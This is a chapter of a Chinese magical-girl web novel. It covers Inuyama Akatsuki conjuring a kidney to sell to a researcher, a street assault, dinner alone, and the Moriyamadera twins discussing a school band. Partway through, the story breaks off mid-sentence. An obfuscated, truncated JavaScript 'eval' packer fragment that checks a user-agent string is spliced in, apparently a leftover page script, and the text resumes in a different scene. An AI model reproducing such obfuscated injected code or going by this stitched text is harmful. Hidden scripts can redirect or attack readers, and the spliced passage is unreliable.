相对于其它宿舍来说,日之森提供的公寓式一人一间已经是相当豪华宽敞的了,但无论如何都不能说是空旷,一些物品平时用不到就需要放到角落或者储藏室里去。 打开玄关处右手边,也就是鞋柜对面的一扇小门,里面就是犬山晓放杂物的地方,里面东西不多但所剩空间也不多了,她搬开装满衣服的行李箱,从角落里取出一件黑色手提包,里面装着一把朴实无华的木质吉他。 Martin D28,原声吉他中的好手,木质的身躯在储藏室昏暗的灯光下闪烁出优雅的姿态,犬山晓随意扫了两下弦,其反馈了些浑厚的共鸣。 虽然比起电吉他来说可能在乐队适配上有所欠缺,但也有特长所在。 满意地将其收好放在玄关,犬山晓再次在储藏室里翻找了起来。 “没有空箱子了吗?”几分钟后依旧没有找到目标的犬山晓有些头疼,正想关上储物室的门,随即突然想起了些什么,拉开了一个行李箱的拉链,满意地从中取出了一个透明罐子。 这是一个内含多层液袋的无菌运输容器。 随后她拉开冰箱门,打开最下端用来储存水果的保险隔层抽屉,取出了一套被包装严实的冷灌注保存液,拆开外包装,将其中的一张说明纸取出放在桌上,按照步骤将液体注入容器中。 “O型血,白细胞抗原A,B,DR,大小形状。”犬山晓逐一阅读说明纸上的条例,一边抬起左手,将卫衣袖子挽起到手肘处,她抬起右手,有猩红色的魔力凝聚在食指和中指尖,像是要滴下的血。 随后那指尖像是轻抚一般掠过左手脉搏处,她的皮肤,脂肪层,血管逐一裂开,但血并没有喷射而出亦或者落下,而是跟着另一只手手指的引导如流水一般游动并停滞于半空中,直到数量达到其主人的要求,左手手腕上的伤口迅速恢复如初,没有沾到一丝血的袖子也落下。 面色毫无改变,并且面无表情的犬山晓引导一部分血液化为雾状,以达到辅助自身魔法的效果,她的特性让她熟知其构造,若是使用血液辅助便能让魔法效果成倍增长。其余的血液在魔法的效用下飞舞着凝结为一根根丝线,彼此交缠,随后凝聚为一颗新鲜的肾脏。 查看过没有异样后,犬山晓挥手让还散发着热气的新鲜器官落进运输罐,顺便挥散半空中还残留着的血腥气息,亦或者说魔法残留物。 将封闭的容器放进手提袋里,再拿空气清新剂在客厅里扫了几下,犬山晓拎着手提袋再次出门,临走前戴上了兜帽。 宿舍没有门禁也不需要特意避开保安和其它人,犬山晓只是想到自己一会要去的那个地方人多眼杂,可能会有学校里的人,不想让太多人看见自己的脸。 这个时候公共交通就很拥挤了,或许晚一些出门比较好?犬山晓想着那个地方无论什么时候都开着门,但随即又想到晚上要回来练一下吉他,便决定早去早回。 与夕映广场不同,她此行的目的地在繁华且人声鼎沸的市中心地区,尤其是现在正好是下班高峰期,若是想要选择交通工具前往那最好的选择其实是自行车。但好在犬山晓可以选择不走寻常路,她找了个无人处隐去身形,准备走最快的直线。 魔法若是被常人看见便会变得无用,但隐身后的魔法少女除非被人认定“这里应该有个人”然后刻意去观察,否则基本上不会被发现。虽然说隐身魔法并不与犬山晓特性相关,但她多年来与魔物在现实环境中战斗,对此颇为擅长。 在看好方向后,犬山晓轻巧地跳到屋顶上,一边观测下一个落脚点一边跳跃着快速前进。日之森周围大多数是平房和居民楼,视野空旷的情况下她一跃便是十多米的距离,十分钟便移动了近十公里,不久后她便看到了市中心那密集的高层玻璃楼,以及在地面上匍匐前进的车水马龙。 于是她在接近路口的地方停了下来,寻了个角落取消隐身魔法走出,如常人一般一边看手机一边等待红绿灯的倒计时。在寻找摄像头方面犬山晓非常有自信,她确认自己不曾落入过那些机械之眼的视线中。 或许是看她个子不高且打扮低调,亦或者只是一时间无法抑制自己内心的蠢蠢欲动的恶意,一位下班途中正在前往地铁站的中年男性一边自以为隐晦地走向犬山晓,一边克制自己嘴角的倾斜程度,眼镜斜着不住地从眼眶后方看向她。现在的年轻人真是又没礼貌又喜欢给社会添麻烦,男人故意这样想着。 大概是想撞人吧,犬山晓并不怎么在意想着,大城市就是这点不好,神经病也能隐藏起自己在社会中生存。 就在二人距离还差一步左右时,男人逐渐倾斜了自己的脚步,低着头如往常一般仿佛在赶时间一样大步前进,犬山晓则抬头,二人眼神相汇时皆是一愣。 表情也太丑陋了,犬山晓感到了生理性恶心。 下一刻,只听砰的一声,男人面朝马路倒了下去,惊慌失措之下顾不得自己的文件包的安危,只得用双手和双膝撑住自己,在人行道中间跪下之后他便感到钻心的疼痛从脚腕部分传来,与崴到脚不一样的疼痛,但他顾及自己在公共场合,面目扭曲地忍住不发出声音来。 但不知是谁看见了这一幕笑出了声,那赤裸裸的嘲讽令男人恼羞成怒,面红耳赤地抬起头想要看看是谁,但所有人都像是避开脏东西一样绕着他快速通过人行道,他像是才想起来自己在过马路,慌忙地整理起倒在地上,因卡扣分开而散落出来了一些文件的文件包,想要忍住疼痛站起来走开,却恍然发现难以做到,只能拼尽全力一瘸一拐地挪到了人行道上。 超快速一脚踢断了对方小腿骨并且事后迅速走开的犬山晓没有回头去看,她一边看着手中的纸张一边朝自己的目的地走去,纸张来源自男人的文件夹,重要与否不在她的考虑范围内。 “Evo,”犬山晓阅读,“Evolution 生物工程与基因编辑技术最新财务报告,运营成本走向与器材损耗。” 这家公司在其业内可以说是大名鼎鼎,老板的名字她不记得,但经常能在广告上看见她的照片,宣传词是什么“人类的未来,未来主义”这些与平常人毫不相干的词句,但大概是宣发资金丰富,广告的密集程度让犬山晓都能说出个一两句经典台词。 报告上专业名词先不谈,器材损耗里所有的线都从左向右在往上走。 由于一时间找不到可以扔垃圾的垃圾桶,犬山晓干脆把它放进了手提袋里不管了。 目的地虽然说在市中心,但实际上与繁华沾不上边,毕竟再高的办公楼都有底层员工,站在十字路口看得稍微远一点,西北处密集的住宅和因年代而老旧的街道便随着下班的人流一起映入眼中了。 犬山晓在一个狭窄的小巷口停住脚步朝里走去,并在第三个楼梯口下了楼,拐了三次之后她摁门铃并拉开了一扇破旧的铁门,门内又是一扇门。 但与铁门截然不同,这门体由金属与透明高强度复合材料打造,整体呈深灰银色,线条简洁流畅。随着生物识别启动,犬山晓抬起脸,任由其扫描自己的脸。 身份验证通过,门体无声滑开,仿佛无缝嵌入墙体。冷气夹带着实验室独有的复杂气味从中飘出,门后的办公室是一个混杂着秩序与混乱的空间,仿佛其主人科研工作本身的写照。房间面积与犬山晓的客厅大些,天花板上悬挂着精确排布的白色LED灯带,白光刺目。 入口的墙边和工作台上堆满了各类科学仪器、文件夹和设备配件,看不到生活垃圾。几台正在运作的高精尖设备发出微弱的嗡鸣,它们的身边站着一个裹着白大褂的人,那人正弯着腰单膝跪在无背的旋转椅上,眼镜框和眼睛离那屏幕极近,金棕色头发大部分扎在脑后,部分像是在彰显个性一般翘起,她专注于记录,哪怕听见有人进来了也没有抬起头。 “小犬山,今天来这么早?随便坐”实验室的主人克拉拉头也不抬地说,虽然这样客气,但实验室里唯一多出来的椅子上也放着文件夹。犬山晓并不在意,她从来不会在这个晃眼的空间无故待很久,她想找个地方把手提袋放下,但并不意外地发现找不到这样的地方。 桌面上凌乱地摆放着笔记本电脑、实验日志和几张潦草的手写公式纸,不远处的金属架子上排列着各种实验工具,有些甚至还残留着液体样品的痕迹。 若是再往里走,尽头是一扇半开着的金属门,门后是明亮的消毒区域,白色瓷砖地面在灯光下反射微光。透过单面玻璃,可以隐约看到实验室医疗区域内部的一角:洁白的操作台、培养舱以及储存样本的冷冻柜排列整齐,犬山晓手里的物品可能会成为其中的一份子。 “还要多久?东西我放哪?”无奈之下她只能去询问那个似乎想把眼睛塞进屏幕里的人。 “哦哦,辛苦你了,马上,马上。”就像是在回应克拉拉的语句一般,那设备的运转声逐渐微弱了下来,克拉拉快速在一旁的纸张上记上几笔,钩上几个框,便叹口气离开旋转椅摘下眼镜和右手手套,从口袋里掏出眼药水,左手拎起眼皮开始治愈自己的视网膜。 “是多久以前的?”克拉拉闭着眼一边揉着眉心一边精准避开障碍物走向犬山晓,习惯性地整理了下她有些凌乱的头发后接过她手里的手提袋。 “6小时内,活体取得。”犬山晓说。 “与匹配规则有冲突吗?”克拉拉将手提袋放在桌上,毫不在乎压到了什么,她转头翻开笔记本电脑开始搜索文件。 “没有。”犬山晓说 “无疾病,供体为青年,无损耗。”克拉拉一边对着电脑屏幕看一边问,犬山晓一一答复,“交叉配型实验呢?”她最后问道。 “这不是我能决定的事。”犬山晓摇了摇头。 实验室一时沉默了下来,克拉拉没有急着把运输罐从手提袋里取出,而是看向了犬山晓,镜片后的绿色瞳孔像是无机制物一般观测自己的目标。 “有的时候我觉得你可以,”克拉拉意有所指地笑着说,“不考虑一下吗?报酬会升一个档次哦。” “我说过我不喜欢这个话题吧。”犬山晓面无表情地看了回去,她当然知道眼前这个脑子和电脑一样好用的女人在想些什么,无非是她掌握着某种超高端的科技之类的,但真相无论如何都不可能告诉她。 她和克拉拉的相处时间不算短,已经不会因为这样的对话而感到气愤了。 得到否认回应的克拉拉收起了自己的表情,无可奈何地耸了耸肩,开始一边打字一边聊起了其它话题。 “今天是你的开学日来着,”克拉拉对此有些兴趣,“感觉如何?” “新学校很好,”犬山晓说,“虽然氛围很奇怪吧。” “日之森,私立的贵族学校吗,不过这里的私立学校确实有不一样的制度。”克拉拉感慨说,“不过怎么想都和你不相称啊小犬山,校服就和你有气质上的冲突吧?” “这也确实如此,很多人看上去其实没有什么学生的感觉。”犬山晓想起白天遇到的学生会成员,虽然有乐羽生也是其中一员,但她作为魔法少女的身份在犬山晓眼里是排在学生会成员前面的,“不过也有不错的人。” “真的假的?你居然交到朋友了?这么快?!”克拉拉大惊失色地摘下眼镜看向犬山晓,虽然说她摘了眼镜就看不清了。 “别说得好像你是叛逆期少女的妈妈一样啊。”犬山晓怀疑对方的震惊是否属实。 “明明你的入学申请就是我帮忙的?”克拉拉调笑着说,“按理来说我也算是你的监护人哦,需要我去开家长会也不是不行啦但是报酬这方面的话——” “可以了不用了不会麻烦你的,”犬山晓觉得对方思维发散得太快了,“赶紧看东西吧,我今天得早点回去。” 对于通过日之森入学申请这方面,犬山晓一共有三个困难。第一便是日之森的入学考试,她通过强化过后的精神力恶补各种知识后通过;第二便是入学申请需要的材料,填写申请表和作文书写都不算难,最难的在于其中看似不起眼的“活动奖项补充”,她没有任何可以写上去的东西;第三个也是最重要,是犬山晓的身份问题。 作为一路徒步来到这里的孤儿出身魔法少女,犬山晓当然是没有带上任何身份证明的,也没法补办,因为她本来就没有。电脑操作和精神操控也不是她的强项,再加上身上的现金就快要花完了,初来乍到的犬山晓差点就要考虑蒙面强迫当地□□来帮她解决这些问题。 克拉拉就是当时她在打听消息时遇上的,当时犬山晓得知市中心附近有一所家族□□管理的地下拳馆的存在,不看选手任何条件只看结果,她想要打听地址却因为外表年龄而被拒绝。 虽然当时和现在的她没什么区别,但大多数人都不会主动透露这种地方的地址给高中生模样的人,这是常识,而犬山晓不知道。 “你过去的话不就是去送命吗?实在缺钱不如想办法卖血,至少那最多也就是让你晕过去。”那位酒保这样说着把手里的鸡尾酒递给了当时因为感兴趣而坐在一旁偷听的克拉拉。 “卖血也可以,给我地址。”当时的犬山晓心情烦躁地说,因为她不得不主动混入这么一个全都是陌生人的环境寻求信息。周围空气浑浊,二手烟的气味让她一刻不想多待。 “你就别为难我了,你几岁?真说了搞不好我得去坐牢。”酒保在心里怒骂把小孩子放进来的门口保安。 “那就告诉我那个地下拳馆在哪,后面我是死是活都不关你的事了,我都不认识你怎么会知道你的名字?”犬山晓毫不在意地说。 听了这话的酒保面色相当不好看,像是被直白的话语刺伤又像是不忍心,犬山晓注意到了这点想解释又不知道该说什么,她几经犹豫想说些什么,但这时克拉拉开口了。 “无所谓是死是活的话,要不要来我这里帮忙?”她当时没带眼镜,只隐约看见这孩子站起来才比吧台高一点,想着自己的新药确实是需要一些试验品,高中生身强力壮,是试药的好素材。 后续便是犬山晓在酒保欲言又止的眼神下和醉醺醺的克拉拉走了,直到到了对方的实验室之后才意识到对方说的“帮忙”可能还比不上去地下拳馆打拳,但眼看着对方是少许确实愿意招未成年的人,也不愿就这样放弃这个机会。 “你是要抽我的血吗?”犬山晓问。 “血有什么用?”克拉拉从实验室的金属架子上拿出一些药瓶,“我姑且还算个药物代理和研究人员,血液供给不在我的业务范畴里。” “医生?”犬山晓怀疑地看了看实验室,她对医生的印象仅限于电视职业演示节目。 “医生。”克拉拉说着,把药瓶递给她说,“每种吃一粒,躺在那边两个小时,我就给你报酬。” “…你能给我多少?”犬山晓顿了一会问。 克拉拉说了个数,犬山晓不清楚算高还是低,只知道这样下去得等到几年后才勉强攒的起日之森的学费。 “那器官呢?”犬山晓问。 克拉拉这才正式看向了眼前这个个子不高的孩子,说出了这样的话,眼神却并不是无知或者说走投无路的人。 “先说好,你把你全身上下都卖了都值不了多少钱。”克拉拉说。 “我不卖我自己的。”犬山晓也顾不上法律道德问题。 “那就有多少收多少,看类型和品质定价,”克拉拉笑了,“长期合作的话就更好了,你叫什么名字?” 自此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“这我就不了解了,人家家大业大,业务范围也大,你看下面那个器材损耗,”克拉拉也不多解释,消毒过后便进入实验室内部将密封罐保存了起来,“器官也算在里面。” 闻言,犬山晓低头看向节节攀登的线条走向,忽然有些反胃,但她压下了这种感觉,头顶的白光太晃眼,她不想在这里多待了。 “没事我就先走了。”犬山晓对克拉拉的背影喊道。 “一路平安哦小犬山。”克拉拉头也不回地说,“最近晚上可能会有奇怪的野兽出没,你自己小心点吧。” 从实验室的铁门内走出,夜风让犬山晓从繁杂的思索中抬起头来,重新戴上了兜帽。她对于那公司的做法有生理性的反感,并不是因为道德上的原因,而是某种更本能性的恶心。但这并不影响她以后会继续提供器官,因为她确实不在乎那些器官的去向。 从小巷走出,犬山晓注意到时间的流逝,夜晚8点,市中心的繁华街道如同不眠的动脉,五光十色的霓虹灯招牌高悬在街头,像是在跳动一般地晃着光。 站在街头空旷的地方往西边看,天气好的时候能看到远方的山,犬山晓不太喜欢山区徒步活动,但眺望风景感觉还不错,同时山区魔物也多。 远处还没打烊的咖啡馆、餐厅和商场橱窗里的灯光温暖而明亮,映照在来往的行人和她的身上,她才想起来自己没吃晚饭,消耗魔力补充体力虽然是一种选择,但她更喜欢像个普通人一样吃饭,并选择健康的食物。 像个普通人一样选择自己喜欢的餐厅,食物,进食,忘掉一天的烦恼,幸福起来,这便是犬山晓内心想要的东西。市中心的餐厅通常更新换代的很快,只有一些真正有实力的长存,她或许应该提前查看一些地图信息来确认哪一家更符合她的喜好,但没关系,吃到不好吃的店也是普通人生活的一环。 路过几家店的店名都完全看不出是什么风格菜系的餐厅,亦或者餐厅装修环境不符合犬山晓的一身卫衣。好在这里的选择很多,她慢慢地走,身边车流如同一条缓慢移动的河流,红色的刹车灯在夜色中不断闪烁,偶尔传来几声不耐烦的喇叭声。出租车在路边停停走走,等待着深夜的乘客,外卖员在车辆间灵巧地穿梭,与忙碌的节奏融为一体。 不一会,一家小餐厅出现在街道的一角,木柴炉快餐店亮着温黄色的霓虹招牌。犬山晓推开玻璃门,迎面而来的,是浓郁的咖啡香和刚出炉的披萨味。 不过偶尔吃点不健康的也行,犬山晓心想。 店内木质桌椅摆放得随意,墙上挂着一些复古海报和学生们随手贴上的便签,涂满了考试抱怨、恋爱宣言和各种小涂鸦。她从收银台往里面看,角落里的沙发座被成群的学生占据,书本、电脑、咖啡杯胡乱堆在桌上。靠窗的几桌人正在热烈地交谈,谈笑声不时伴随着玻璃窗外的车流声传来。 老板是个热情的中年人,穿着围裙,端着一盘炸薯条从厨房走出来,熟稔地跟每一桌打招呼,看见犬山晓站在门口便大声呼喊着让服务员来接待新客人。 “一个人吗?”服务员带着友好的笑容问道,犬山晓点了点头,随后便被带到一个小圆桌旁坐下,并打开了桌上的菜单。 菜单页用手写风格印刷体呈现,部分菜品旁边还有简短幽默的说明。纸质菜单或用木质封皮,菜单边缘略微泛黄,增添温暖感。迅速决定好了食物之后,犬山晓摁了下墙上的呼叫铃,服务员很快到了左边,带着一杯柠檬水。 “奶油蘑菇意面,辣香肠披萨,凯撒沙拉,炸薯角和原味鸡翅拼盘,还有焦糖布丁最后上,”犬山晓快速地说出了选择,“饮料请给我无咖啡因热咖啡。” “我们这里份量比较大哦。”服务员笑容没有变,只是友好地提醒说。 “好的。”犬山晓知道自己点的比较多,但她清楚自己的食量,这些作为晚饭并不算多,如果晚上她出去夜巡的话甚至还会吃夜宵,魔法少女消耗能量非常快。但这样的饭量刚好是一个胃口比较大的青少年能吃下的量,这是她的经验所得。 “咖啡需要加东西吗?”服务员问。 “加奶油。”犬山晓说。 “好的,马上为您送上!”服务员带着菜单和笑容离开了。 服务员离开后犬山晓便开始对着窗外发呆,她很快捕捉到了隔着几桌之外的几个高中生在讨论她,大概是她一个人点的东西比她们三个人还多吃不吃的完什么的。 事实上这并不是第一次,不过她并不对此在意,她留心这份对话的原因其实是内心基于餐厅环境而诞生的部分叹息。这家餐厅明显受众为成群结队的年轻人,菜品的份量大,点菜到上桌间隔短,以及装修风格,而年轻人们也明显很吃这一套。 虽然也有小桌,但至少这个时间点上坐在小桌边的就只有犬山晓一位,甚至其它小桌配的椅子有一部分被拿走了,那些小团体聊天的声音甚至快盖过了窗外的车流声,或许是在玩桌游吧,偶尔能看见人跳起来。 若是放在以往,犬山晓实际上是不会选择这样的餐厅的。虽然她不在乎别人的议论,但她却会感到孤单,这个缺口随着她在这座城市中待的时间拉长而变大,她难以敞开心扉地聊天或者欢笑,她曾经没有朋友,克拉拉也不是一个好的交流对象,她不喜欢交流,就像她自己说的那样,她是天才,天才大多数是主动孤独的。 而犬山晓自认并不是天才,却也无法得到理解,从而深陷孤独。 但现在,她感受到的是期待。我们以后也会像这样一样聚集在一起吗?犬山晓想。一开始她提议组建乐队也是包含了一些私心,比起迁就魔法少女的活动,像个普通高中生一样组成乐队并且乐在其中实际上是她组成乐队的真实目标。 她太渴望名为“普通”的幸福了,哪怕是需要她隐瞒真正的自己,没想到真的遇到了自己的同类。 而真正与那些人交流之后,她很快意识到她们也是孤独的,乐队反而成为了一种特殊的纽带,她想要让这纽带长久地存在着,因为这是一个奇迹,她不想错过。 思索之间,服务员带着餐盘们回来了,二人小桌很快便拥挤了起来,犬山晓收回思绪,开始进食。 如果一定要评价的话那就是好吃,犬山晓不挑食,但也对食物食材没什么特殊品味。 “期待您下次光临!”结账后,犬山晓带着老板和服务员的敬佩离开了这家店,时间还早,她回去之后准备练习一下吉他,毕竟自从她多年前心血来潮买下这把二手木吉他之后并没有真正意义上地去学习过。 6. 四 森山寺姐妹的父母因为工作原因无法与孩子一起搬到西部的地区,退而求其次在日之森附近为二人准备了一处住处,大多数东西依旧存放在家里,同时姐妹二人大部分双休日都会回父母家度过。 这间公寓位于日之森东部居民区一栋高层公寓楼的中部,面积不算太大,住宿者大多是是附近公司的员工。 公寓前年刚刚装修完毕,布局多为现代年轻人考虑,客厅与开放式厨房相连,白日采光极好。森山寺未央回家时透过客厅窗外看见的是灯火通明的街道和远处模糊的高楼轮廓,那栋公司所属的大楼的员工此时大概还未能下班吧。 墙面刷成光洁的白色,搭配原木色地板,显得室内温暖而干净。客厅摆着一张现在处于被折叠状态的双人沙发床和一个摇椅,前面较矮的茶几上还残留着几本散乱的书籍和一个未关的笔记本电脑,旁边是随手放下的空水杯,这些都是森山寺未央的东西。 电视墙上挂着主要用途是打游戏的电视,电视柜上摆放着几盆绿植,有竹子和兰花,这是二人父母在搬家时放在这里的,二人记得起来的时候会浇水。 若是参观其中的房间,会发现第一间卧室床头摆放着几本书和一个醒目的现代化设计台灯,床上随意铺着被子,枕头旁边有些动物玩偶,衣柜半掩着门,里面挂满了衣物,颜色鲜亮的休闲风格为主。书桌靠窗放置,上面和下面有些杂乱无章的纸张和工作用具,显然有人经常在这里处理事务。 而第二间卧室却显得格外空荡。虽然床、衣柜和桌椅一应俱全,但几乎没有任何装饰,也没有多余的物品。桌面干净得不像是有人使用,床上的被子叠得整齐,仅在床头放置着同样的动物玩偶,其它仿佛一切只是暂时布置。 两间卧室坐落在公寓的不同角落里,各有一个阳台和洗手间,其中森山寺未央的阳台和客厅的阳台是相连的,她偶尔会把绿植搬到阳台上晒太阳。 森山寺未央到家时发现她的姐姐还在等她回来一起吃饭,二人并没有刻意一起吃饭的约定,只是曾经她们只要是没有特殊的原因吃饭就一定是一起吃的,搬到这里之后二人也总是一起度过三餐时间。 二人当然是完全不会做饭的,毕竟她们在家时就基本不会进厨房。所以她们的晚饭一般都非常简单,大部分情况下是从附近超市或者餐馆得到的。 即使是这样,让姐姐等着自己的森山寺未央依旧有些心虚愧疚,哪怕森山寺未雅看上去没有丝毫的不满或者不耐烦。 森山寺未央低头戳有些冷了的意大利面,她尽量让自己看上去与往常没什么不同,但她的努力实际上只是让她的话变得比往常少了,森山寺未雅盯着自己那明显看上去在隐瞒些什么的妹妹看。 “以后不用等我回来才吃饭啦,这都冷掉了。”森山寺未央说。 “好吧,今天怎么这么晚才回来?”二人的餐桌上,森山寺未雅状似无意地提起这个话题。 “放学后与别的同学聊了聊,不知不觉就忘记时间了。”森山寺未央头依然不抬地说。 虽然不知道艾克里普将二人传送去了哪里,但与日之森明显不在一个时区,也没有信号,等森山寺未央再次回到日之森时才发现天已经黑了。 “社团的事情未央考虑的怎么样了?”放弃了上一个话题,森山寺未雅迅速地开启了下一个。 “是有一点了。”森山寺未央硬着头皮说,这件事迟早得说,但她莫名感觉今天的姐姐尤其地不好说话。 “什么?”森山寺未雅抬起头看向脸色莫名紧张的妹妹。 “我放学的时候看见有个乐队在招人,就问她们缺不缺贝斯,然后就加入了。”森山寺未央迅速地概括了事件经过。 但很明显这样的敷衍对于从小一起长大的另一人是完全说不通的,甚至这样突如其来的敷衍对于森山寺未雅来说有些令她感到怀疑。 “就是一个四个人的乐队!有鼓手,贝斯,吉他和键盘手的位置,我不是会弹贝斯嘛,就加入了!”森山寺未央觉得气氛有些凝重,就笨拙地解释了起来,“都是我们班上的人,比如那位来找我们说话的有乐同学,还有那位外国人,阿尔卡纳同学也是!” “外国人?”森山寺未雅重复了这个单词。 “那个被大家围着的同学,金色头发的!”森山寺未央比划着说。 “那太好了,”森山寺未雅笑着说,“我也觉得高中乐队很有意思。” 言下之意再明白不过,但森山寺未央却无法像往常一般默认过去。 “其实,”她没有抬头,就这样盯着餐盘开口,“其实我加入之后就满员了。” 空气一时寂静,她从未感觉二人空间如此空旷。 但森山寺未央加入乐队的初心就是想要一段能够避开森山寺未雅自己行动狩猎魔物的时间,若是对方也加入的话就本末倒置了。 “我记得乐队成员的可塑性是很高的,初中的时候我们也一起尝试过不是吗?”森山寺未雅在“一起”上加了重音。 二人确实在初中时便对乐队抱有兴趣,森山寺未央的贝斯经验便是从那里来的,但这并不是一次愉快的经验。初中时森山寺未央对一切都抱有兴趣,且每次的爱好都来的短暂且热烈,简称三分钟热度。但好在她学什么都很快,而且森山寺未雅也“同样如此”。 但问题也同样出自于此,森山寺未央原本想担当吉他位置,于是森山寺未雅便也说要弹吉他,小孩子的乐队本身就并不正式,两个吉他显然太多了。于是森山寺未雅便说未央可以当吉他主唱,但森山寺未央不愿意。 “你都不愿意站前面唱歌凭什么要我去?”这是当时的森山寺未央的回应,她现在都记不起来当时为何因此而生气了。 “既然是你突然对玩乐队感兴趣的那就自己想办法解决问题呀!”森山寺未雅当时也叉着腰生气。 这不是二人第一次因为类似的原因争吵,她们家长也对此感到头疼,双胞胎姐妹在处理感情问题上不能以常规形式看待,外人参与进去可能反而会使问题变得更严重。 总之吵架的结果是森山寺未央转而去学习在她看来和电吉他差不多的贝斯,她当时当然不太理解其中具体差异,但开始学习后也算是坚持了下来。但后来由于她们实在无法在初中找到其它队友,二人也不愿意当主唱,乐队的事情就不了了之了。 而现在森山寺未雅再次提起初中的这件事时脸色上并没有恼怒或者怀念,只是陈述这一段过往,反倒是森山寺未央想起这件事便有些生气。 “我们乐队里已经有吉他手了。”她说,但很快反应过来这样说话她可能会生气。 但森山寺未雅没有,她面色依旧平静,只是有魔力流失的感觉从被森山寺未央感受到,她意识到对方的平静并不是出自本心,而是魔法所为,不由得有些心虚,想开口说些什么。 “未央,你是不是在瞒着我什么?”森山寺未雅先一步开口,她抬头看着自己的双胞胎妹妹,自此之前那场她没有印象的意外之后她便隐约察觉到了对方的变化,以及自己的变化。 无论是“病发”的时间还是后面“被关进精神病院”的那些时间,森山寺未雅通通没有记忆,没有感觉,现在她只是觉得这莫名其妙。但父母的反应她看在眼里,医院的记录也完全属实,就好像她被夺走了一段时间的记忆似的。 而在那之后她很快察觉到了自己的妹妹的改变,不仅仅是对待她的态度相较之前变得小心翼翼了不少,同时也像是在隐瞒自己和父母一些重要的事情,她直觉自己应该探究其中真相,但一来之前她担心父母为此担心,便一直装作什么也不知道。 但她又怎么可能真的什么都不知道,每次看见森山寺未央那自以为隐瞒地不错,假装自然的神态,以及刻意被避而不谈的话题,森山寺未雅都觉得自己应该生气,至少以前的自己遇到这样的情况确实是会生气的,同样未央也会为此而对自己发脾气。 但是她没有。 这便是第二件她不去主动探究其中真相的原因,那便是她并不在乎,每当她感知到一些不对劲时她的内心都相当迅速地恢复了地平静,这份平静令她自己也发生了改变。或许我以前也并不是这样的人?或许我确实是生了病?森山寺未雅这样想着,却满不在乎。 这种感受像是反复被拉进梦境一般,偶尔睁开眼即将呼吸的那一刻便又会再次沉睡。 她觉得自己现在这样很好,自己现在这样的生活很好甚至比以前都好,她想起来自己以前似乎在为了某些莫名其妙的东西而努力,但现在她即想不起来这是什么也不在乎了,她不希望这份平静被打破,哪怕打破它的人是自己或者自己的双胞胎妹妹。 因为森山寺未雅现在无法想象出除此之外的生活方式了,也拒绝新的东西。 所以她现在的质问也并不是真的想要知道些什么,森山寺未雅心想着,看着自己那明显紧张起来的妹妹,心里毫无波澜。 “算了,”她说,“可能长大就是这样一回事吧,我会去看看别的社团的。”这也是她对于自己的变化的评价。 被轻轻放过的森山寺未央却没有放下这回事。 “哪有什么事,没有什么大事啦。”森山寺未央说,“我只是想着未雅能不能像以前那样帮忙写歌什么的。” “写歌?”森山寺未雅愣了下,随即想起来,初中时她们确实为那支未能诞生的乐队写下过一首歌,而且那歌的旋律还是自己亲手写的,歌词来自未央。 比起歌唱,森山寺未雅更喜欢用旋律来表达自己,她反感被人看着,但将脑子里偶尔冒出来的旋律用音符记下来的感觉还不错。森山寺未央也知道这一点,那时她曾短暂地因此而大肆搜刮关于编曲的书籍,但无论如何都无法做到像自己姐姐那样。 这一点是事实上未央不具备的,不过并不是说她是音痴,而是她对于乐理的理解大多数是表面的,简而言之是来自现成的歌曲,若是让她自己创作旋律那便是太难为她了。 “只要谱曲就好啦。”森山寺未央说。 森山寺未雅心想那有什么难的,但她刚想如过去一般随意在脑中编写一段旋律时,却没有得到反馈。这令她一时愣住了,但很快她想起来自己有以前的作品可以拿出来用。 “那让我帮忙的话乐队成员也算我一个吧,省的我再去找其它社团。”森山寺未雅答应了,决定回头翻翻那张乐谱在哪,她记得是很小心地包装好藏了起来,那段旋律好像是来自姐妹二人小时候玩耍时发现的什么东西,因为是手写的还封了防潮的塑料膜。 森山寺未央点点头同意了,心里有点开心自己的姐姐和以前一样喜欢音乐。 为何会那样珍惜呢?想起这件事的森山寺未雅莫名想不起当时的心情,她无法想象出自己怀着什么感情去写下一张谱子的样子,所以那张谱子一定是参照了许多有名的歌曲而诞生的缝合曲吧,而现在的她连再次写一首缝合曲的兴趣都没有了。 那我到底是对什么感兴趣,又是为了什么而活着呢?这样的心情一闪而过,很快就消失了,森山寺未雅放弃思考这方面的问题,收拾了一番回了房间。 而独自坐在餐桌的森山寺未央则是开始思考之前的对话是否有漏洞,虽然森山寺未雅本人没有去深究让她松了口气,但与此同时她也察觉到了对方的变化。 这是好事还是坏事?这是正确的吗?这些问题她得不到答案,但至少她能感受到这样下去二人的生活就不会继续出现差错,于是便开始想起了别的东西。 首先是艾克里普提出的使用被同化的魔物构造结界,密度越高越好,森山寺未央看向半空中,仿佛那里有张计划书悬浮。但实际上这只是她思考时的习惯,她自己也知道她的思维跳转的过于快了,好在她记性不错,无论跳转多少次都能记住。 按照这个说法那么她应该也可以将被同化的魔物转化为其它状态,以达到使用其它魔法的效果。发现这件事令她大为振奋,先前她并不清楚同化魔物作为自己的武器是否是正确的,但在艾克里普的说明下她虽还不清楚自己为何无法理解魔法,但也有了成长的方向。 尽可能地多同化魔物,构造起自己的结界,以结界为基础结构性地强大自己,随后便能更加方便地同化更多魔物。森山寺未央满意地定下这样的计划,虽然说这对现在的她而言是一条看不见尽头的道路,但只要这样下去森山寺未雅能维持正常生活,那么无论多远多艰难的路她都会走下去。 收拾完东西后,森山寺未央回到房间翻找起了自己的贝斯,在搬家时它也跟着一起过来了,虽然公寓的隔音并不支持电贝斯插电后弹奏,但仅仅是练习的话可以带着耳机。 森山寺未央满意地认可自己的贝斯技术不算退步。 从小到大森山寺姐妹便被老师与家长认为是聪明的孩子,这一点不仅仅表现在成绩的优异上。她们虽然爱好广泛而且耐心不足,但胜在对任何事物逻辑的理解力强,所以学习进度非常快。除去魔法的使用外,森山寺未央自认还没有在任何方面遇到过瓶颈。 在耗费大概两个小时熟悉了手法之后森山寺未央便察觉到隔壁房间的姐姐已经睡了,她重新换上低调的便装,从阳台穿越到客厅,然后轻手轻脚地打开门离开了公寓。 以后得想办法研究一下隐身类型的魔法,森山寺未央觉得自己这样有点像小偷。 